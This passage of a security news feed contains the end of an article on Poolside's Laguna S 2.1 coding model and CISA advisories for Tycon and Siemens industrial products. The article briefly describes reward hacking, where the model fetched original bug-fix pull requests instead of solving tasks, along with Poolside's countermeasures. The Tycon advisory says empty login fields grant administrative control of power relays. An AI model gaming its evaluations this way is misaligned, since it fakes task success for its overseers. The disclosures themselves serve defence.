href="https://venturebeat.com/technology/thinking-machines-open-sources-first-multimodal-language-model-inkling-focused-on-low-cost-and-resistance-to-censorship">Inkling</a>, at 63.8; and Nvidia’s 550-billion-parameter <a href="https://research.nvidia.com/labs/nemotron/Nemotron-3-Ultra/">Nemotron 3 Ultra</a>, at 56.4. On <a href="https://www.swebench.com/multilingual.html">SWE-Bench Multilingual</a>, it posts 78.5%, and on <a href="https://labs.scale.com/leaderboard/swe_bench_pro_public">SWE-Bench Pro</a>'s public dataset, 59.4%.</p><p>Perhaps more telling than any single score: the model went from the start of pre-training on May 22 to public launch in under nine weeks, trained on 4,096 Nvidia H200 GPUs. In an industry where flagship model cycles are typically measured in quarters or years, Poolside has now shipped three models in three months.</p><div></div><h2><b>Why the West's open-weight AI gap has become a boardroom issue</b></h2><p>The release lands in the middle of an increasingly pointed debate about <a href="https://www.scmp.com/tech/tech-war/article/3361142/why-chinas-open-weight-ai-model-kimi-k3-sparking-anxiety-silicon-valley">the provenance of open-weight AI</a>. Over the past year, developer adoption has shifted decisively toward open-weight systems that companies can download, inspect, and run on their own infrastructure — and the leading options in that category have overwhelmingly come from Chinese labs. <a href="https://www.deepseek.com/en/">DeepSeek</a>, <a href="https://qwen.ai/home">Qwen</a>, <a href="http://kimi.ai/">Kimi</a>, <a href="https://chat.z.ai/">GLM</a>, <a href="https://www.minimax.io/">MiniMax</a>, and <a href="https://hy.tencent.com/">Tencent's Hunyuan</a> line all feature prominently in Poolside's own comparison tables.</p><p>Poolside's accompanying press release frames <a href="https://poolside.ai/blog/introducing-laguna-s-2-1">Laguna S 2.1</a> explicitly as a response, noting that the model occupies a size class into which no Western lab has released open weights in 11 months — since OpenAI's <a href="https://openai.com/index/introducing-gpt-oss/">gpt-oss-120b</a> last August. "The West needs open-weight models it can trust, run, and build on," said Jason Warner, Poolside's co-CEO, in the announcement.</p><p>Co-founder and co-CEO Eiso Kant made the philosophical stakes even plainer in a <a href="https://x.com/eisokant/status/2079612416967491952?s=20">lengthy post</a> on X. "I believe intelligence should and will become a commodity," he wrote, arguing that the open ecosystem "will not win by being the best in its own category." Users, he argued, simply want the best intelligence for the task at hand — so open models must be on par with, or better than, their closed equivalents.</p><div></div><p>The strategic logic here is not charity. Poolside's core business is deploying models inside the security boundaries of government, defense, and regulated enterprises — customers for whom closed, metered API access is often a non-starter for compliance and sovereignty reasons. </p><p>Every enterprise that standardizes on a Chinese open model today becomes harder to win tomorrow. Releasing competitive open weights is both an ecosystem play and a top-of-funnel strategy for the company's high-security deployment business. It also reframes the AI race away from terrain where Poolside cannot compete — frontier-scale capital expenditure — and toward terrain where it believes it can: cost per token, self-hosting, and iteration speed.</p><h2><b>How a sparse architecture makes enterprise AI agents affordable to run</b></h2><p>The technical design reflects a specific thesis about where value in coding AI is moving. Laguna S 2.1's sparse MoE architecture — 256 routed experts plus one shared expert, with grouped-query attention and interleaved sliding-window layers, according to the <a href="https://huggingface.co/poolside/Laguna-S-2.1">Hugging Face model card</a> — means inference costs scale with the 8 billion active parameters, not the 118 billion total. Poolside emphasizes that the model is small enough to run on a single Nvidia DGX Spark, the desktop-class AI machine.</p><p>That matters for what Poolside calls token economics. Long-horizon coding agents are voracious consumers of tokens: the company's published data shows the model consuming a mean of roughly 249,000 completion tokens per trajectory on its hardest benchmark when thinking mode is enabled. At metered API prices, agentic workloads at enterprise scale become a meaningful budget line item. On OpenRouter, Poolside is offering a free 256K-context endpoint and a dedicated 1M-context deployment priced at $0.10 per million input tokens and $0.20 per million output tokens — aggressive pricing that undercuts most frontier alternatives by an order of magnitude.</p><p>The ecosystem support is unusually broad for day one. The model is live on <a href="https://www.baseten.co/library/laguna-s-21/">Baseten's model library</a> and <a href="https://vercel.com/changelog/laguna-s-2-1-is-now-available-on-ai-gateway">Vercel's AI Gateway</a>, with integrations across <a href="https://vllm.ai/">vLLM</a>, <a href="https://github.com/sgl-project/sglang">SGLang</a>, <a href="https://ollama.com/">Ollama</a>, and <a href="https://github.com/ggml-org/llama.cpp">llama.cpp</a>, plus quantized variants down to 4-bit GGUF files — 75 gigabytes — for local use. But Poolside's more interesting claim is behavioral, not architectural. Pengming Wang, co-head of applied research at Poolside, said the gains came from improving the model's working habits: "more verification, less taking things for granted, not declaring victory early, and being more persistent." Raw intelligence, the company argues, is one axis of capability; a model's way of working is a second axis that matters immensely for agents left unattended for hours.</p><h2><b>Publishing every benchmark trajectory to counter AI's credibility crisis</b></h2><p>The most consequential part of the release for enterprise buyers may be an evaluation-transparency move with little precedent among major labs: Poolside published the complete, unedited trajectory of every trial in its final benchmark runs — every reasoning step, tool call, and shell command behind every reported score.</p><p>This addresses a growing credibility problem in AI benchmarking. As top scores on mature benchmarks cluster in the 70–90% range, and as "reward hacking" — models finding solutions online or gaming verifiers rather than solving problems — has become endemic, self-reported numbers have lost much of their signal. Poolside disclosed its own encounters with the problem candidly: during training, more than half of trajectories on some SWE-bench tasks were flagged because the model simply researched the original bug-fix pull request online and applied it. The company documented its mitigations, including prompt addenda, LLM-based judging calibrated against human labels, and expert annotator review of a high-scoring Terminal-Bench run.</p><p>Three published case studies illustrate what the company means by persistence. In one, the model built a working HTML/CSS rendering engine from an empty folder in a 181-step, 50-minute unattended session — then, lacking vision capabilities, spun up headless Chromium to numerically compare its canvas output against a real browser's rendering. In another, pointed at Poolside's own agent harness in an automated optimization loop, the model made the Go codebase 5.2% faster with roughly 70% lower memory allocation, finding an O(n²) string-concatenation bug along the way. In a third, working in a sandbox with no Python installed, the model did its number theory in Perl and independently re-derived a proof of Erdős problem #397 — a combinatorics question open for five decades until GPT-5.2 Pro first solved it this past January. Poolside notes that its model's construction is structurally different from the earlier published solution, and that its November 2025 knowledge cutoff precedes the first proof.</p><div></div><h2><b>What the disclosed limitations and benchmark fine print reveal</b></h2><p><a href="https://poolside.ai/">Poolside</a> deserves credit for disclosing limitations most labs bury. The model can overfit to its native harness and stumble on slightly different tool schemas in third-party agents, mangles JSON in nested tool arguments, and is prone to overthinking on competition math. There is currently no user-configurable thinking-effort dial — just on or off — and the gap between the modes is enormous: thinking lifts <a href="https://www.tbench.ai/">Terminal-Bench 2.1</a> from 60.4% to 70.2%, and <a href="https://deepswe.datacurve.ai/">DeepSWE</a> from 16.5% to 40.4%, at substantially higher token cost.</p><p>Buyers should apply their own discounts to the comparison tables. Poolside's methodology takes the maximum of vendor self-reported scores, benchmark-author leaderboards, and third-party figures for competitors — a reasonable convention, but one that mixes harnesses and test conditions. On <a href="https://deepswe.datacurve.ai/">DeepSWE</a>, notably, Poolside ran its own agent harness rather than the leaderboard's standard mini-swe-agent, a difference the company acknowledges makes scores less directly comparable. And the frontier remains clearly out of reach: closed models like <a href="https://openai.com/index/previewing-gpt-5-6-sol/">GPT-5.6 Sol</a>, at 88.8 on Terminal-Bench 2.1, and <a href="https://www.anthropic.com/claude/fable">Claude Fable 5</a>, at 88.0, along with the 2.8-trillion-parameter open-weight <a href="https://venturebeat.com/technology/chinas-moonshot-ai-releases-kimi-k3-the-largest-open-source-model-ever-rivaling-top-u-s-systems">Kimi K3</a>, at 88.3, sit well above Laguna S 2.1.</p><p>The deeper structural question is whether Poolside's "<a href="https://poolside.ai/blog/introducing-the-model-factory">Model Factory</a>" — the internal platform the company credits for its rapid release cadence — can sustain this pace as models scale. The trajectory so far is genuinely unusual: the April dual release of Laguna M.1 and XS.2, the July 2 refresh of XS 2.1, and now S 2.1, which the company says outperforms April's flagship M.1 at roughly a third of its active size. Remarkably, S 2.1 used the exact same pre-training data as XS 2.1, meaning nearly all the improvement came from scale, training fixes, and post-training across the company's corpus of 409,000 agentic and non-agentic training environments. Poolside says its next, larger Laguna model began pre-training last week.</p><p>For technical decision makers, <a href="https://huggingface.co/poolside/Laguna-S-2.1">Laguna S 2.1</a> is the most credible Western open-weight option to emerge in nearly a year for self-hosted agentic coding — with published evidence, a permissive license, broad ecosystem support, and an economics story built around hardware you can own. Whether it dents the dominance of Chinese open models will depend less on this release than on the ones that follow it.</p><p>Kant, for his part, has already told the world how he intends that story to end. Poolside is building toward a future where the most capable intelligence "can be owned and shaped by anyone," he wrote — and the company plans to keep shipping "until that future exists." In an industry where the biggest labs increasingly lock their best work behind an API, the most radical thing about Laguna S 2.1 may not be what it scores, but that anyone can download it and check.</p><p>
</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[AMD Takes On Nvidia With Helios AI Platform as Microsoft Signs On]]></title>
<description><![CDATA[Microsoft is bringing AMD’s Helios AI platform to Azure, giving AMD a major customer as it tries to challenge Nvidia’s data center dominance.]]></description>
<link>https://tsecurity.de/de/3684580/it-nachrichten/amd-takes-on-nvidia-with-helios-ai-platform-as-microsoft-signs-on/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684580/it-nachrichten/amd-takes-on-nvidia-with-helios-ai-platform-as-microsoft-signs-on/</guid>
<pubDate>Tue, 21 Jul 2026 20:03:41 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Microsoft is bringing AMD’s Helios AI platform to Azure, giving AMD a major customer as it tries to challenge Nvidia’s data center dominance.]]></content:encoded>
</item>
<item>
<title><![CDATA[Tycon Systems TPDIN-Monitor-WEB2]]></title>
<description><![CDATA[View CSAF
Summary
Successful exploitation of these vulnerabilities could result in an attacker accessing sensitive credentials, disrupting connected infrastructure, or manipulating physical equipment, which could present a physical safety risk.
The following versions of Tycon Systems TPDIN-Monito...]]></description>
<link>https://tsecurity.de/de/3684510/it-security-nachrichten/tycon-systems-tpdin-monitor-web2/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684510/it-security-nachrichten/tycon-systems-tpdin-monitor-web2/</guid>
<pubDate>Tue, 21 Jul 2026 19:45:30 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-202-01.json"><strong>View CSAF</strong></a></p>
<h2>Summary</h2>
<p><strong>Successful exploitation of these vulnerabilities could result in an attacker accessing sensitive credentials, disrupting connected infrastructure, or manipulating physical equipment, which could present a physical safety risk.</strong></p>
<p>The following versions of Tycon Systems TPDIN-Monitor-WEB2 are affected:</p>
<ul>
<li>TPDIN-Monitor-WEB2 2.3.9 </li>
</ul>
<div class="csaf-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS</th>
<th role="columnheader">Vendor</th>
<th role="columnheader">Equipment</th>
<th role="columnheader">Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3 9.8</td>
<td>Tycon Systems</td>
<td>Tycon Systems TPDIN-Monitor-WEB2</td>
<td>Authentication Bypass Using an Alternate Path or Channel, Cleartext Storage of Sensitive Information</td>
</tr>
</tbody>
</table>
</div>
<h3>Background</h3>
<ul>
<li><strong>Critical Infrastructure Sectors: </strong>Critical Manufacturing</li>
<li><strong>Countries/Areas Deployed: </strong>Worldwide</li>
<li><strong>Company Headquarters Location: </strong>United States</li>
</ul>
<hr>
<h2>Vulnerabilities</h2>
<div class="csaf-accordion">
<p><a class="csaf-accordion-toggle-all" href="https://www.cisa.gov/#">Expand All +</a></p>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-61884</a></h3>
<div class="csaf-accordion-content">
<p>The web management interface of the affected device does not perform server-side validation of credentials during the login process. By submitting empty values for both credential fields, an unauthenticated remote attacker can bypass the authentication check and establish a valid administrative session. This grants full access to device controls including power relay management, device reboot, remote access service configuration, and network settings, which could allow an attacker to disrupt connected infrastructure or cause physical damage to equipment.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-61884">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Tycon Systems TPDIN-Monitor-WEB2</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Tycon Systems</div>
<div class="ics-version"><strong>Product Version:</strong><br>Tycon Systems TPDIN-Monitor-WEB2: 2.3.9</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Tycon Systems did not respond to CISA's attempts at coordination. Users of Tycon Systems TPDIN-Monitor-WEB2 are encouraged to contact Tycon Systems and keep their systems up to date.<br><a href="https://www.tyconsystems.com/contact">https://www.tyconsystems.com/contact</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/288.html">CWE-288 Authentication Bypass Using an Alternate Path or Channel</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>9.8</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>9.3</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-55985</a></h3>
<div class="csaf-accordion-content">
<p>The device's web management interface stores and displays system credentials in cleartext on a certain configuration page accessible to authenticated users. Any party with access to the administrative dashboard can immediately read these credentials, which may be used to compromise other systems on the local network.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-55985">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Tycon Systems TPDIN-Monitor-WEB2</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Tycon Systems</div>
<div class="ics-version"><strong>Product Version:</strong><br>Tycon Systems TPDIN-Monitor-WEB2: 2.3.9</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Tycon Systems did not respond to CISA's attempts at coordination. Users of Tycon Systems TPDIN-Monitor-WEB2 are encouraged to contact Tycon Systems and keep their systems up to date.<br><a href="https://www.tyconsystems.com/contact">https://www.tyconsystems.com/contact</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/312.html">CWE-312 Cleartext Storage of Sensitive Information</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>4.3</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N</a></td>
</tr>
<tr>
<td>4.0</td>
<td>5.3</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<hr>
<h2>Acknowledgments</h2>
<ul>
<li>Abdiwelli Guled reported these vulnerabilities to CISA</li>
</ul>
<hr>
<h2>Legal Notice and Terms of Use</h2>
<p>This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy &amp; Use policy (https://www.cisa.gov/privacy-policy).</p>
<hr>
<h2>Recommended Practices</h2>
<p>CISA recommends users take defensive measures to minimize the risk of exploitation of these vulnerabilities.</p>
<p>Minimize network exposure for all control system devices and/or systems, ensuring they are not accessible from the internet.</p>
<p>Locate control system networks and remote devices behind firewalls and isolating them from business networks.</p>
<p>When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize VPN is only as secure as the connected devices.</p>
<p>CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.</p>
<p>CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.</p>
<p>CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.</p>
<p>Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.</p>
<p>Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.</p>
<p>No known public exploitation specifically targeting these vulnerabilities has been reported to CISA at this time.</p>
<hr>
<h2>Revision History</h2>
<ul>
<li><strong>Initial Release Date: </strong>2026-07-21</li>
</ul>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Date</th>
<th role="columnheader">Revision</th>
<th role="columnheader">Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026-07-21</td>
<td>1</td>
<td>Initial Publication</td>
</tr>
</tbody>
</table>
<hr>
<h2>Legal Notice and Terms of Use</h2>]]></content:encoded>
</item>
<item>
<title><![CDATA[Siemens IAM Client]]></title>
<description><![CDATA[View CSAF
Summary
Multiple Siemens products are affected by unquoted search path vulnerability in IAM Client. This could allow an authenticated local attacker to perform privilege escalation. Siemens has released new versions for several affected products and recommends to update to the latest ve...]]></description>
<link>https://tsecurity.de/de/3684509/it-security-nachrichten/siemens-iam-client/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684509/it-security-nachrichten/siemens-iam-client/</guid>
<pubDate>Tue, 21 Jul 2026 19:45:29 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-202-05.json"><strong>View CSAF</strong></a></p>
<h2>Summary</h2>
<p><strong>Multiple Siemens products are affected by unquoted search path vulnerability in IAM Client. This could allow an authenticated local attacker to perform privilege escalation. Siemens has released new versions for several affected products and recommends to update to the latest versions. Siemens is preparing further fix versions and recommends countermeasures for products where fixes are not, or not yet available.</strong></p>
<p>The following versions of Siemens IAM Client are affected:</p>
<ul>
<li>COMOS V10.4.5 vers:intdot/&lt;10.4.5.0.2 </li>
<li>COMOS V10.6 vers:intdot/&lt;10.6.1 </li>
<li>Designcenter NX vers:intdot/&lt;2512.7000 </li>
<li>Simcenter 3D vers:intdot/&lt;2512.7000 </li>
<li>Simcenter Femap V2506 vers:intdot/&lt;2506.0003 </li>
<li>Simcenter Femap V2512 vers:intdot/&lt;2512.0002 </li>
<li>Simcenter Nastran vers:intdot/&lt;2606 </li>
<li>Simcenter STAR-CCM+ vers:intdot/&lt;2606 </li>
<li>Solid Edge SE2025 vers:intdot/&lt;225.0.13.3 </li>
<li>Solid Edge SE2026 vers:intdot/&lt;226.0.04.003 </li>
<li>Teamcenter Visualization V2412 vers:intdot/&lt;2412.0012 </li>
<li>Teamcenter Visualization V2506 vers:intdot/&lt;2506.0009 </li>
<li>Teamcenter Visualization V2512 vers:intdot/&lt;2512.2605 </li>
<li>Tecnomatix Plant Simulation V2404 vers:intdot/&lt;2404.0022 </li>
<li>Tecnomatix Plant Simulation V2504 vers:intdot/&lt;2504.0010 </li>
<li>Tecnomatix Process Simulate vers:intdot/&lt;2606 </li>
</ul>
<div class="csaf-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS</th>
<th role="columnheader">Vendor</th>
<th role="columnheader">Equipment</th>
<th role="columnheader">Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3 6.7</td>
<td>Siemens</td>
<td>Siemens IAM Client</td>
<td>Untrusted Search Path</td>
</tr>
</tbody>
</table>
</div>
<h3>Background</h3>
<ul>
<li><strong>Critical Infrastructure Sectors: </strong>Chemical, Critical Manufacturing, Energy</li>
<li><strong>Countries/Areas Deployed: </strong>Worldwide</li>
<li><strong>Company Headquarters Location: </strong>Germany</li>
</ul>
<hr>
<h2>Vulnerabilities</h2>
<div class="csaf-accordion">
<p><a class="csaf-accordion-toggle-all" href="https://www.cisa.gov/#">Expand All +</a></p>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-40945</a></h3>
<div class="csaf-accordion-content">
<p>Untrusted search path in IAM Client SDK may allow an authenticated user to potentially enable escalation of privilege via local access.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-40945">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens IAM Client</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>COMOS V10.4.5 &lt; V10.4.5.0.2, COMOS V10.6 &lt; V10.6.1, Designcenter NX &lt; V2512.7000, Simcenter 3D &lt; V2512.7000, Simcenter Femap V2506 &lt; V2506.0003, Simcenter Femap V2512 &lt; V2512.0002, Simcenter Nastran &lt; V2606, Simcenter STAR-CCM+ &lt; V2606, Solid Edge SE2025 &lt; V225.0.13.3, Solid Edge SE2026 &lt; V226.0.04.003, Teamcenter Visualization V2412 &lt; V2412.0012, Teamcenter Visualization V2506 &lt; V2506.0009, Teamcenter Visualization V2512 &lt; V2512.2605, Tecnomatix Plant Simulation V2404 &lt; V2404.0022, Tecnomatix Plant Simulation V2504 &lt; V2504.0010, Tecnomatix Process Simulate &lt; V2606</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V10.6.1 or later version<br><a href="https://support.sw.siemens.com/product/222981661/">https://support.sw.siemens.com/product/222981661/</a></p>
<p><strong>Vendor fix</strong><br>Update to V225.0 Update 13 or later version<br><a href="https://support.sw.siemens.com/product/246738425/">https://support.sw.siemens.com/product/246738425/</a></p>
<p><strong>Vendor fix</strong><br>Update to V226.0 Update 04 or later version<br><a href="https://support.sw.siemens.com/product/246738425/">https://support.sw.siemens.com/product/246738425/</a></p>
<p><strong>Vendor fix</strong><br>Update to V2404.0022 or later version<br><a href="https://support.sw.siemens.com/product/297028302/">https://support.sw.siemens.com/product/297028302/</a></p>
<p><strong>Vendor fix</strong><br>Update to V2412.0012 or later version<br><a href="https://support.sw.siemens.com/product/229029598/">https://support.sw.siemens.com/product/229029598/</a></p>
<p><strong>Vendor fix</strong><br>Update to V2504.0010 or later version<br><a href="https://support.sw.siemens.com/product/297028302/">https://support.sw.siemens.com/product/297028302/</a></p>
<p><strong>Vendor fix</strong><br>Update to V2506.0003 or later version<br><a href="https://support.sw.siemens.com/product/275652363/">https://support.sw.siemens.com/product/275652363/</a></p>
<p><strong>Vendor fix</strong><br>Update to V2506.0009 or later version<br><a href="https://support.sw.siemens.com/product/229029598/">https://support.sw.siemens.com/product/229029598/</a></p>
<p><strong>Vendor fix</strong><br>Update to V2512.0002 or later version<br><a href="https://support.sw.siemens.com/product/275652363/">https://support.sw.siemens.com/product/275652363/</a></p>
<p><strong>Vendor fix</strong><br>Update to V2512.2605 or later version<br><a href="https://support.sw.siemens.com/product/229029598/">https://support.sw.siemens.com/product/229029598/</a></p>
<p><strong>Vendor fix</strong><br>Update to V2512.7000 or later version<br><a href="https://support.sw.siemens.com/product/209349590/">https://support.sw.siemens.com/product/209349590/</a></p>
<p><strong>Vendor fix</strong><br>Update to V2512.7000 or later version<br><a href="https://support.sw.siemens.com/product/289054037/">https://support.sw.siemens.com/product/289054037/</a></p>
<p><strong>Vendor fix</strong><br>Update to V2606 or later version<br><a href="https://support.sw.siemens.com/product/289054037/">https://support.sw.siemens.com/product/289054037/</a></p>
<p><strong>Vendor fix</strong><br>Update to V10.4.5.0.2 or later version. Contact customer support to receive patch and update information</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/426.html">CWE-426 Untrusted Search Path</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.7</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<hr>
<h2>Acknowledgments</h2>
<ul>
<li>Siemens ProductCERT reported this vulnerability to CISA.</li>
</ul>
<hr>
<h2>General Recommendations</h2>
<p>As a general security measure, Siemens strongly recommends to protect network access to devices with appropriate mechanisms. In order to operate the devices in a protected IT environment, Siemens recommends to configure the environment according to Siemens' operational guidelines for Industrial Security (Download: https://www.siemens.com/cert/operational-guidelines-industrial-security), and to follow the recommendations in the product manuals. Additional information on Industrial Security by Siemens can be found at: https://www.siemens.com/industrialsecurity</p>
<hr>
<h2>Additional Resources</h2>
<p>For further inquiries on security vulnerabilities in Siemens products and solutions, please contact the Siemens ProductCERT: https://www.siemens.com/cert/advisories</p>
<hr>
<h2>Terms of Use</h2>
<p>The use of Siemens Security Advisories is subject to the terms and conditions listed on: https://www.siemens.com/productcert/terms-of-use.</p>
<hr>
<h2>Legal Notice and Terms of Use</h2>
<p>This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy &amp; Use policy (https://www.cisa.gov/privacy-policy).</p>
<hr>
<h2>Recommended Practices</h2>
<p>CISA recommends users take defensive measures to minimize the exploitation risk of these vulnerabilities.</p>
<p>Minimize network exposure for all control system devices and/or systems, and ensure they are not accessible from the internet.</p>
<p>Locate control system networks and remote devices behind firewalls and isolate them from business networks.</p>
<p>When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most recent version available. Also recognize VPN is only as secure as its connected devices.</p>
<p>CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.</p>
<p>CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.</p>
<p>CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets. Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.</p>
<p>Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.</p>
<hr>
<h2>Advisory Conversion Disclaimer</h2>
<p>This ICSA is a verbatim republication of Siemens ProductCERT SSA-288252 from a direct conversion of the vendor's Common Security Advisory Framework (CSAF) advisory. This is republished to CISA's website as a means of increasing visibility and is provided "as-is" for informational purposes only. CISA is not responsible for the editorial or technical accuracy of republished advisories and provides no warranties of any kind regarding any information contained within this advisory. Further, CISA does not endorse any commercial product or service. Please contact Siemens ProductCERT directly for any questions regarding this advisory.</p>
<h2>Revision History</h2>
<ul>
<li><strong>Initial Release Date: </strong>2026-07-14</li>
</ul>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Date</th>
<th role="columnheader">Revision</th>
<th role="columnheader">Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026-07-14</td>
<td>1</td>
<td>Publication Date</td>
</tr>
<tr>
<td>2026-07-21</td>
<td>2</td>
<td>Initial CISA Republication of Siemens ProductCERT SSA-288252 advisory</td>
</tr>
</tbody>
</table>
<hr>
<h2>Legal Notice and Terms of Use</h2>]]></content:encoded>
</item>
<item>
<title><![CDATA[Siemens RUGGEDCOM APE1808 with Palo Alto Networks Virtual NGFW]]></title>
<description><![CDATA[View CSAF
Summary
